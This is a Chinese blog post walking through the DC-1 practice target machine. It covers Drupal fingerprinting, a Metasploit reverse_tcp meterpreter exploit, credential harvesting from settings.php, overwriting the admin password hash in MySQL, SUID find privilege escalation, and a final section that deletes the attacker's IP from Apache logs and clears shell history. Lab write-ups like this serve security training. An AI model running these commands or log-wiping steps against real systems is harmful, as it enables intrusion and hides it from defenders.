当前位置: 首页 > news >正文

DC1靶机渗透

期末周每天都是深深的死感

1.ip地址搜寻

得到靶机地址

192.168.220.129

用nmap扫描端口:

nmap -sV -p- 192.168.220.129

可以看到端口22、80、111、45433是开放的。

通过浏览器访问ip地址

通过观察页面,可以发现当前页面无有效信息,但是有一个重点的地方就是Powered by Drupal

2.扫描主机目录

dirb http://192.168.220.129

3.指纹信息识别

whatweb  -v  192.168.220.129

指纹信息: 获取当前靶机的编程语言、网站模板 CMS、服务器信息

通过指纹信息的扫描可以获取到当前的靶机使用的 CMS 是 Drupal,接下来需要去搜索 Drupal 的相关漏洞

4.漏洞利用

1.使用 msf 的漏洞利用神器,在神器中直接搜索 Drupal 模块

Msfconsole

search Drupal

    2.使用漏洞模块编号为 1

    use 1

    3.显示当前模块下来的 payload

    options

    4.设置 payload

    set payload payload/php/meterpreter/reverse_tcp

    5.查看需要设置的 payload

    6.设置rhosts

    7.运行

    Run

    5.后渗透

    1.查看系统信息

    sysinfo

    2.进入shell,ls

    可以发现当前的命令行窗口不太容易输入命令

    通过输入 python 脚本让其进入到 bin/bash 命令行

    python -c "import pty;pty.spawn('/bin/bash')"

    然后再ls

    找到flag1

    cat  flag1.txt

    flag1 提供的线索是: 让找配置文件

    一般的配置文件在 linux 中以 set 开头,或者.cfg、.xml、.json、.env、.config 结尾

    find . -name "set*"  

    查看 setting.php

    cat ./sites/default/settings.php

    可以发现有 flag2 的存在,同时发现了有数据库的相关信息

    'database' => 'drupaldb',

    'username' => 'dbuser',

    'password' => 'R0ck3t',

    'host' => 'localhost',

    需要连接数据库

    mysql  -udbuser   -pR0ck3t

    查看相关使用的表

    show  databases;

    use drupaldb;

    show tables;

    通过使用 users 表,查看表数据,最终发现用户的密码是加密的

    select  *   from  users\G;

    接下来需要退出数据库,寻找解密方式

    exit:

    通过将结果扔个 AI 查询发现,通过 hash 进行加密,所以需要先从本地寻找 hash 加密的方式

    find . -name '*hash*'

    cat  ./scripts/password-hash.sh

    当前这个 hash 文件主要表达的含义就是,可以使用这个文件进行 hash 值得生成

    ./scripts/password-hash.sh   123456

    之前

    之后

    hash: $S$Dw63kZIdvKD0NKZEv6FfZ3v4NLifV4A7kJv/DpQHKy3KhNhK/MIW

    接下来需要修改数据库中 admin 用户的密码,需要再一次登录数据库

    mysql  -udbuser   -pR0ck3t

    use drupaldb;

    select  *   from  users;

    select  *   from  users\G;

    update  users set pass='$S$DSQKfeXIoP20ZuP9dFas2SfVenJIdSG.CopZmT61YvGJrxW9//RR' where uid=1;

    然后点击 dashboard,找到 flag3

    根据 flag3 的提示需要在 shadow 中找寻下一个目标

    去/etc/passwd 文件中进行寻找

    cd /home/flag4.txt

    ls

    cat flag4.txt

    根据 flag4 的提示信息,想要拿到最终的 flag 需要进行提权到 root

    查看当前的提权方式

    find / -perm -u=s -type f  2>/dev/null

    可以发现使用 find 来进行提权

    find / -exec "/bin/bash" -p \;

    通过 whoami 命令发现提权成功

    一般进入到/root 目录进行 flag 的提取

    6.清除使用痕迹

    中间件的日志清除

    包括 web 请求、msf 漏洞利用产生的日志,需要清除

    find / -name "access*"

    cat  /var/log/apache2/access.log

    sed -i '/192.168.220.129/d' /var/log/apache2/access.log

    清除错误信息

    find / -name 'error*'

    cat  /var/log/apache2/error.log

    sed -i '/192.168.220.129/d' /var/log/apache2/error.log

    让数据库用户的密码进行还原

    mysql  -udbuser   -pR0ck3t

    use drupaldb;

    update  users set pass='

    ' where uid=1;

    数据库日志

    show variables like '%log%';

    general_log 表示每一次执行 sql 时产生的记录,但是当前处于 OFF 状态,不需要清除

    slow_query_log 属于慢查询日志

    清除命令行的命令记录

    history

    history -c

    相关文章:

  1. 什么是JSON ?从核心语法到编辑器
  2. 如何在docker desktop上安装mysql
  3. 【清晰教程】可视化数据集标注工具Labelimg零基础安装
  4. 系统集成自动化流程编排流实现 if-else 条件分支(一)
  5. 以太网MDI信号PCB EMC设计要点
  6. 禁止 Windows 更新后自动重启
  7. 无人机避障——感知篇(在Ubuntu20.04的Orin nx上基于ZED2实现Vins Fusion)
  8. 系统集成自动化流程编排实现条件分支高级篇(二)
  9. 一般增长率
  10. 大量RPM仓库管理指南:更新与批量获取实战手册
  11. Manus AI与多语言手写识别技术突破
  12. LangSmith 实战指南:大模型链路调试与监控的深度解析
  13. DeepCritic: SFT+RL两阶段训练突破LLM自我监督!显著提升大模型的自我批判能力!!
  14. 离线部署openstack 2024.1 placement
  15. c++算法学习6——迪杰斯特拉算法
  16. 彻底禁用Windows Defender通知和图标
  17. Python_day51
  18. openstack实例创建过程分析
  19. 40.第二阶段x64游戏实战-封包-添加发包功能
  20. Jadx(开源AVA反编译工具) v1.5.0
  21. 网站做鸭/百度网址大全在哪里找
  22. 做百度网站/公司网站域名续费一年多少钱
  23. 网站建设图片/seo推广是什么意思呢
  24. 微信公众号做公司网站/东莞今日新闻大事
  25. 如何自己做淘宝网站/网站模版
  26. 电子商务网站建设视频教程/西安核心关键词排名